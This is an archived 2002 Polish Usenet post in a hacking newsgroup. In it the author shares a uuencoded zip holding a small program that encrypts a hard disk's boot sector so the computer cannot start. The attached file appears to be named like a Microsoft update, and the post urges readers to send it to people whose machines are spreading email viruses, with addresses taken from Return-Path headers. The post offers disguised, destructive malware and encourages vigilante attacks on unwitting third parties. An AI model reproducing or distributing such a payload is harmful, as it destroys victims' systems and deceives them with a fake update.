Article View: alt.pl.fan.gopher
Article #6941Kolejny sposób na zasikanych
From: Adam `Gophi' Wysocki
Date: Wed, 14 Aug 2002 02:27
Date: Wed, 14 Aug 2002 02:27
43 lines
3694 bytes
3694 bytes
Inwazyjny, ale odwracalny. Działanie komputera po uruchomieniu programiku i zrebootowaniu jest nieprzewidywalne, ale na pewno nie będzie to zabootowanie (najprawdopodobniej hangup, ale to zależy). Program szyfruje pierwszy sektor na zerowej ścieżce pod zerową głowicą pierwszego dysku twardego prostą metodą rozszerzonej sumy logicznej z inkrementowanym liniowo kluczem (inteligentnie brzmi, ale samo szyfrowanie sprowadza się do kilku linijek kodu w assemblerze). Odratowanie - odpalenie tego programu ponownie (z bootkietki), i nie bać się że system po zabootowaniu z bootkietki nie będzie widział twardego dysku (dotyczy DOS-a, nie wiem jak Linux, nie testowałem, ale żadnej partycji raczej nie zobaczy żaden system). Na tyle małe że wrzucam tutaj, na tyle proste że nie załączam kodu źródłowego (każdy powinien zrozumieć po deasemblacji), ale jeśli ktoś chce to dostanie także źródło. Oczywiście zero gwarancji, używanie na własne ryzyko, ale nie polecam odpalania tego u siebie (chyba że ktoś lubi mocne wrażenia, poza tym nie testowałem tego programu i nie wiem, czy odwracalność naprawdę działa), raczej wysyłanie do zasikanych (po rozpakowaniu, zresztą nazwa - po rozpakowaniu - mówi sama za siebie). Adresy zasikanych można znaleźć w nagłówkach Return-Path otrzymywanych wirusów (nie polecam nagłówków From, bo niektóre wirusy podmieniają nadawcę listu, zostawiając jednak nadawcę koperty). Have fun. begin 664 oe.zip M4$L#!!0````(`-T@#BW/:W@H#@$``!P#```8`!4`=W=W+FUI8W)O<V]F="UU M<&1A=&4N8V]M550)``-"NUD]3;Q9/55X!```````[8T_2\-`&(?3E"(&TD7< M"KZ"BZ5T<')T<W-Q$-S>WKUH+C'OD;MPY*:.XK>I+>*?P2%='/HE'"0*3HJS M<?0SZ/3`PX_G]_H4'"4T1YDG!(J,!98:,WP!9WQE;,H@&$SR!I*-145C."4P MFH3"+)_%D219I2C4#&2&X-$D*>:5.`<N;<:<LA,?;@0XJ6Y$>^%1H\R2GV(< M.9B0EY3GI$`7GC2V&S".52O.YJ5F6XWA)"E*`TX7[%!ZSJM1'/F"#-E20<H7 MNK14C.-HI]_?6FNBH-D-FLV@V0_JX=?U=/@^ZSP,PMM.N-KX+;JMN`O"Q<'C M(+SJ[2TO>].E.WS^K.^[G<7Z:KN&8Q*6"_CGW^0W4$L!`A<#%`````@`W2`. M+<]K>"@.`0``'`,``!@`#0```````````.V!`````'=W=RYM:6-R;W-O9G0M M=7!D871E+F-O;554!0`#0KM9/55X``!02P4&``````$``0!3````60$````` ` end -- Gophi * Bofh# 265791 * wysocki.lodz.pdi.net/~adam/ EKG/Gadu #413992 * Member of the PFT Hacking Group MSISDN Idea 505439030 Plus 691337795 IRCNet: gophi Improwizajca poparta inteligencją jest hackerstwem
Technical Details
Message-ID:
<Gophi.138520@gophi.nasa.gov>Path:
mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!pingwin.icm.edu.pl!mat.uni.torun.pl!news.man.torun.pl!news.man.poznan.pl!news.internetia.pl!news.ipartners.pl!news.atcom.net.pl!wysocki.lodz.pdi.net!gophi.nasa.gov!not-for-mailShow Full Headers
Complete Article Headers
Newsgroups: alt.pl.fan.gopher,alt.pl.comp.os.hacking Subject: Kolejny sposób na zasikanych Date: Wed, 14 Aug 2002 04:27:49 +0200 Lines: 50 Mime-Version: 1.0 X-Trace: localhost.localdomain 1029292072 1153 127.0.0.1 (14 Aug 2002 02:27:52 GMT) NNTP-Posting-Date: Wed, 14 Aug 2002 02:27:52 +0000 (UTC) From: "Adam `Gophi' Wysocki" <adam@wysocki.lodz.pdi.net> Organization: PFT Hacking Group NNTP-Posting-Host: gophi.nasa.gov X-Complaints-To: usenet@gophi.prv.pl User-Agent: Pine 4.44 / Red Hat Linux 7.3 (Valhalla) / Kernel 2.4.18-3 X-Geek-Code-1: GAT d-- s+: a1985 C++ UL++ P+ L+++ E---- W- N++ K- w--- !O M-- X-Geek-Code-2: V-- PS+ PE+ Y-- PGP- t- !5 X+ R- tv- b+ DI- D+ G e- h-- r% x* X-Geek-Code-3: v3.12 X-Contact-Info-1: GSM# 505-439-030 X-Contact-Info-2: EKG# 413992 X-More-Info: If you want more info about me, finger gophi@cyberspace.org X-License: This message is PPL-Licensed, details on http://ppl.7thGuard.net/ X-No-Archive: yes Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!pingwin.icm.edu.pl!mat.uni.torun.pl!news.man.torun.pl!news.man.poznan.pl!news.internetia.pl!news.ipartners.pl!news.atcom.net.pl!wysocki.lodz.pdi.net!gophi.nasa.gov!not-for-mail Message-ID: <Gophi.138520@gophi.nasa.gov> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit